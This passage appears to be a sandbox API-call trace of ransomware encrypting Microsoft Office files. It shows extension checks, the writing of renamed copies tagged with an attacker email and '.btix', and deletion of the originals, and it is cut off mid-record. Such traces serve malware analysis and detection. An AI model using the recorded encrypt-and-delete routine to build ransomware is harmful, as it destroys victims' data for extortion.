1 [0135.247] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll")) returned 0x220 [0135.247] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0135.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0135.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81 [0135.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81 [0135.247] lstrlenW (lpString=".doc") returned 4 [0135.247] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0135.247] lstrlenW (lpString=".docx") returned 5 [0135.247] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0135.247] lstrlenW (lpString=".pdf") returned 4 [0135.247] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0135.247] lstrlenW (lpString=".xls") returned 4 [0135.247] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0135.247] lstrlenW (lpString=".xlsx") returned 5 [0135.247] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0135.247] lstrlenW (lpString=".ppt") returned 4 [0135.247] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0135.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81 [0135.248] lstrlenW (lpString=".zip") returned 4 [0135.248] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0135.248] lstrlenW (lpString=".rar") returned 4 [0135.248] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0135.248] lstrlenW (lpString=".bz2") returned 4 [0135.248] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0135.248] lstrlenW (lpString=".7z") returned 3 [0135.248] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0135.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81 [0135.248] lstrlenW (lpString=".dbf") returned 4 [0135.248] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0135.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81 [0135.248] lstrlenW (lpString=".1cd") returned 4 [0135.248] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0135.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81 [0135.248] lstrlenW (lpString=".jpg") returned 4 [0135.248] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0135.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81 [0135.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81 [0135.248] lstrlenW (lpString=".doc") returned 4 [0135.248] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0135.248] lstrlenW (lpString=".docx") returned 5 [0135.248] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0135.248] lstrlenW (lpString=".pdf") returned 4 [0135.248] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0135.248] lstrlenW (lpString=".xls") returned 4 [0135.248] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0135.248] lstrlenW (lpString=".xlsx") returned 5 [0135.248] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0135.248] lstrlenW (lpString=".ppt") returned 4 [0135.248] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0135.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81 [0135.248] lstrlenW (lpString=".zip") returned 4 [0135.248] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0135.248] lstrlenW (lpString=".rar") returned 4 [0135.249] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0135.249] lstrlenW (lpString=".bz2") returned 4 [0135.249] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0135.249] lstrlenW (lpString=".7z") returned 3 [0135.249] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0135.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81 [0135.249] lstrlenW (lpString=".dbf") returned 4 [0135.249] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0135.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81 [0135.249] lstrlenW (lpString=".1cd") returned 4 [0135.249] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0135.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81 [0135.249] lstrlenW (lpString=".jpg") returned 4 [0135.249] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0135.249] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0135.249] lstrlenW (lpString="api-ms-win-core-xstate-l2-1-0.dll") returned 33 [0135.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0135.249] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=11616) returned 1 [0135.249] CloseHandle (hObject=0x544) returned 1 [0135.250] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll")) returned 0x220 [0135.250] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0135.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0135.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79 [0135.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79 [0135.250] lstrlenW (lpString=".doc") returned 4 [0135.250] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0135.250] lstrlenW (lpString=".docx") returned 5 [0135.250] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0135.250] lstrlenW (lpString=".pdf") returned 4 [0135.250] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0135.250] lstrlenW (lpString=".xls") returned 4 [0135.250] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0135.250] lstrlenW (lpString=".xlsx") returned 5 [0135.250] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0135.250] lstrlenW (lpString=".ppt") returned 4 [0135.250] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0135.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79 [0135.250] lstrlenW (lpString=".zip") returned 4 [0135.250] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0135.250] lstrlenW (lpString=".rar") returned 4 [0135.250] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0135.250] lstrlenW (lpString=".bz2") returned 4 [0135.250] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0135.250] lstrlenW (lpString=".7z") returned 3 [0135.250] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0135.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79 [0135.250] lstrlenW (lpString=".dbf") returned 4 [0135.251] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0135.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79 [0135.251] lstrlenW (lpString=".1cd") returned 4 [0135.251] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0135.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79 [0135.251] lstrlenW (lpString=".jpg") returned 4 [0135.251] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0135.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79 [0135.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79 [0135.251] lstrlenW (lpString=".doc") returned 4 [0135.251] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0135.251] lstrlenW (lpString=".docx") returned 5 [0135.251] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0135.251] lstrlenW (lpString=".pdf") returned 4 [0135.251] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0135.251] lstrlenW (lpString=".xls") returned 4 [0135.251] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0135.251] lstrlenW (lpString=".xlsx") returned 5 [0135.251] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0135.251] lstrlenW (lpString=".ppt") returned 4 [0135.251] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0135.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79 [0135.251] lstrlenW (lpString=".zip") returned 4 [0135.251] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0135.251] lstrlenW (lpString=".rar") returned 4 [0135.251] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0135.251] lstrlenW (lpString=".bz2") returned 4 [0135.251] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0135.251] lstrlenW (lpString=".7z") returned 3 [0135.251] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0135.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79 [0135.251] lstrlenW (lpString=".dbf") returned 4 [0135.251] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0135.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79 [0135.251] lstrlenW (lpString=".1cd") returned 4 [0135.251] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0135.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79 [0135.252] lstrlenW (lpString=".jpg") returned 4 [0135.252] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0135.252] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0135.252] lstrlenW (lpString="api-ms-win-crt-conio-l1-1-0.dll") returned 31 [0135.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0135.252] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=19648) returned 1 [0135.252] CloseHandle (hObject=0x544) returned 1 [0135.252] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll")) returned 0x220 [0135.252] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0135.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0135.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77 [0135.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77 [0135.253] lstrlenW (lpString=".doc") returned 4 [0135.253] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0135.253] lstrlenW (lpString=".docx") returned 5 [0135.253] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0135.253] lstrlenW (lpString=".pdf") returned 4 [0135.253] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0135.253] lstrlenW (lpString=".xls") returned 4 [0135.253] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0135.253] lstrlenW (lpString=".xlsx") returned 5 [0135.253] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0135.253] lstrlenW (lpString=".ppt") returned 4 [0135.253] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0135.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77 [0135.253] lstrlenW (lpString=".zip") returned 4 [0135.253] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0135.253] lstrlenW (lpString=".rar") returned 4 [0135.253] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0135.253] lstrlenW (lpString=".bz2") returned 4 [0135.253] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0135.253] lstrlenW (lpString=".7z") returned 3 [0135.253] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0135.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77 [0135.253] lstrlenW (lpString=".dbf") returned 4 [0135.253] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0135.264] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvsubsystems64.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvsubsystems64.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0 [0135.266] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\mfc140u.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\mfc140u.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0 [0135.274] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=7384) returned 1 [0135.274] CloseHandle (hObject=0x544) returned 1 [0135.274] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid")) returned 0x220 [0135.274] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0135.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0135.275] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0135.275] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0135.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0135.491] GetLastError () returned 0x0 [0135.491] ReadFile (in: hFile=0x544, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x1cd8, lpOverlapped=0x0) returned 1 [0135.508] WriteFile (in: hFile=0x4ac, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x1ce0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x1ce0, lpOverlapped=0x0) returned 1 [0135.509] ReadFile (in: hFile=0x544, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1 [0135.509] WriteFile (in: hFile=0x4ac, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0xea, lpOverlapped=0x0) returned 1 [0135.509] SetEndOfFile (hFile=0x4ac) returned 1 [0135.510] CloseHandle (hObject=0x4ac) returned 1 [0135.510] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0135.510] SetEndOfFile (hFile=0x544) returned 1 [0135.512] CloseHandle (hObject=0x544) returned 1 [0135.512] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0135.513] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid")) returned 1 [0135.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0135.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0135.513] lstrlenW (lpString=".doc") returned 4 [0135.513] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0135.513] lstrlenW (lpString=".docx") returned 5 [0135.513] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0135.513] lstrlenW (lpString=".pdf") returned 4 [0135.513] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0135.513] lstrlenW (lpString=".xls") returned 4 [0135.513] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0135.514] lstrlenW (lpString=".xlsx") returned 5 [0135.514] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0135.514] lstrlenW (lpString=".ppt") returned 4 [0135.514] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0135.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0135.514] lstrlenW (lpString=".zip") returned 4 [0135.514] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0135.514] lstrlenW (lpString=".rar") returned 4 [0135.514] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0135.514] lstrlenW (lpString=".bz2") returned 4 [0135.514] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0135.514] lstrlenW (lpString=".7z") returned 3 [0135.514] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0135.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0135.514] lstrlenW (lpString=".dbf") returned 4 [0135.514] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0135.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0135.514] lstrlenW (lpString=".1cd") returned 4 [0135.514] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0135.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0135.514] lstrlenW (lpString=".jpg") returned 4 [0135.514] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0135.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0135.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0135.514] lstrlenW (lpString=".doc") returned 4 [0135.514] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0135.514] lstrlenW (lpString=".docx") returned 5 [0135.514] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0135.514] lstrlenW (lpString=".pdf") returned 4 [0135.514] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0135.514] lstrlenW (lpString=".xls") returned 4 [0135.514] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0135.514] lstrlenW (lpString=".xlsx") returned 5 [0135.514] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0135.514] lstrlenW (lpString=".ppt") returned 4 [0135.515] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0135.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0135.515] lstrlenW (lpString=".zip") returned 4 [0135.515] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0135.515] lstrlenW (lpString=".rar") returned 4 [0135.515] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0135.515] lstrlenW (lpString=".bz2") returned 4 [0135.515] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0135.515] lstrlenW (lpString=".7z") returned 3 [0135.515] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0135.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0135.515] lstrlenW (lpString=".dbf") returned 4 [0135.515] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0135.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0135.515] lstrlenW (lpString=".1cd") returned 4 [0135.515] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0135.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0135.515] lstrlenW (lpString=".jpg") returned 4 [0135.515] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0135.515] lstrcmpiW (lpString1=".MID", lpString2=".btix") returned 1 [0135.515] lstrlenW (lpString="EXPLR_01.MID") returned 12 [0135.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0136.222] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=10562) returned 1 [0136.222] CloseHandle (hObject=0x548) returned 1 [0136.222] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid")) returned 0x220 [0136.222] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0136.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0136.222] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0136.222] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0136.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0136.223] GetLastError () returned 0x0 [0136.223] ReadFile (in: hFile=0x548, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x2942, lpOverlapped=0x0) returned 1 [0136.224] WriteFile (in: hFile=0x42c, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x2950, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: 